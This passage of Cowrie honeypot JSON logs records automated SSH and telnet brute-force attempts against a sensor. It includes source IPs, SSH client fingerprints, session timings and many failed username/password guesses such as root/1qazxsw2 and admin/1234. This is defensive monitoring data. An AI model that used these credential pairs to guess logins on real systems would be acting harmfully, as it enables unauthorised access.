0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:36.388189Z","src_ip":"95.38.165.118","session":"d2a83fc46bdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:37.894744Z","src_ip":"95.38.165.118","session":"d2a83fc46bdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:40.077885Z","src_ip":"95.38.165.118","session":"d2a83fc46bdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":40198,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3a5db4279a5","protocol":"ssh","message":"New connection: 95.38.165.118:40198 (10.17.0.5:22) [session: c3a5db4279a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:41.024371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:41.028931Z","src_ip":"95.38.165.118","session":"c3a5db4279a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:41.186357Z","src_ip":"95.38.165.118","session":"c3a5db4279a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:41.666851Z","src_ip":"95.38.165.118","session":"c3a5db4279a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":40736,"dst_ip":"10.17.0.5","dst_port":22,"session":"1799136fff93","protocol":"ssh","message":"New connection: 95.38.165.118:40736 (10.17.0.5:22) [session: 1799136fff93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:45.885498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:45.890688Z","src_ip":"95.38.165.118","session":"1799136fff93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:46.248191Z","src_ip":"95.38.165.118","session":"1799136fff93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:48.105937Z","src_ip":"95.38.165.118","session":"1799136fff93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:49.918334Z","src_ip":"95.38.165.118","session":"1799136fff93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":40740,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ec10de74dd5","protocol":"ssh","message":"New connection: 95.38.165.118:40740 (10.17.0.5:22) [session: 4ec10de74dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:50.867816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:50.955261Z","src_ip":"95.38.165.118","session":"4ec10de74dd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:51.109447Z","src_ip":"95.38.165.118","session":"4ec10de74dd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:53.306094Z","src_ip":"95.38.165.118","session":"c3a5db4279a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:54.336159Z","src_ip":"95.38.165.118","session":"4ec10de74dd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:55.912591Z","src_ip":"95.38.165.118","session":"4ec10de74dd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":32822,"dst_ip":"10.17.0.5","dst_port":22,"session":"545916b93ddc","protocol":"ssh","message":"New connection: 95.38.165.118:32822 (10.17.0.5:22) [session: 545916b93ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:55.932271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:55.937314Z","src_ip":"95.38.165.118","session":"545916b93ddc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:56.124615Z","src_ip":"95.38.165.118","session":"545916b93ddc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:56.601901Z","src_ip":"95.38.165.118","session":"545916b93ddc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.02818775177002,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:57.265256Z","src_ip":"69.4.83.194","session":"4586e1bce818","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:57.761764Z","src_ip":"95.38.165.118","session":"545916b93ddc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":57356,"dst_ip":"159.203.135.109","dst_port":22,"session":"44c28e0a4ae2","protocol":"ssh","message":"New connection: 103.173.227.57:57356 (159.203.135.109:22) [session: 44c28e0a4ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:58.333140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:58.338145Z","src_ip":"103.173.227.57","session":"44c28e0a4ae2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:58.578183Z","src_ip":"103.173.227.57","session":"44c28e0a4ae2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1g2w3e4r","message":"login attempt [root/1g2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:59.301227Z","src_ip":"103.173.227.57","session":"44c28e0a4ae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.912915229797363,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:59.309915Z","src_ip":"69.4.83.194","session":"5876cf3432c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.42657828330994,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:13:59.766551Z","src_ip":"69.4.83.194","session":"1cc7f1d8642f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55602,"dst_ip":"159.203.135.109","dst_port":23,"session":"166973ac0809","protocol":"telnet","message":"New connection: 69.4.83.194:55602 (159.203.135.109:23) [session: 166973ac0809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:00.239351Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:00.545631Z","src_ip":"103.173.227.57","session":"44c28e0a4ae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":32836,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e09e7e5da36","protocol":"ssh","message":"New connection: 95.38.165.118:32836 (10.17.0.5:22) [session: 7e09e7e5da36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:01.192635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:01.198457Z","src_ip":"95.38.165.118","session":"7e09e7e5da36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:01.371954Z","src_ip":"95.38.165.118","session":"7e09e7e5da36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:01.898964Z","src_ip":"95.38.165.118","session":"7e09e7e5da36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:03.128855Z","src_ip":"95.38.165.118","session":"7e09e7e5da36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57298,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce6cfff4dc6a","protocol":"telnet","message":"New connection: 69.4.83.194:57298 (159.203.135.109:23) [session: ce6cfff4dc6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:04.731146Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37348,"dst_ip":"10.17.0.5","dst_port":22,"session":"021957625576","protocol":"ssh","message":"New connection: 95.38.165.118:37348 (10.17.0.5:22) [session: 021957625576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:06.096586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:06.117846Z","src_ip":"95.38.165.118","session":"021957625576","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:06.276991Z","src_ip":"95.38.165.118","session":"021957625576","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:07.365215Z","src_ip":"95.38.165.118","session":"021957625576","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:08.530855Z","src_ip":"95.38.165.118","session":"021957625576","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":37368,"dst_ip":"10.17.0.5","dst_port":22,"session":"5944f905bf49","protocol":"ssh","message":"New connection: 95.38.165.118:37368 (10.17.0.5:22) [session: 5944f905bf49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:11.540805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:11.573186Z","src_ip":"95.38.165.118","session":"5944f905bf49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 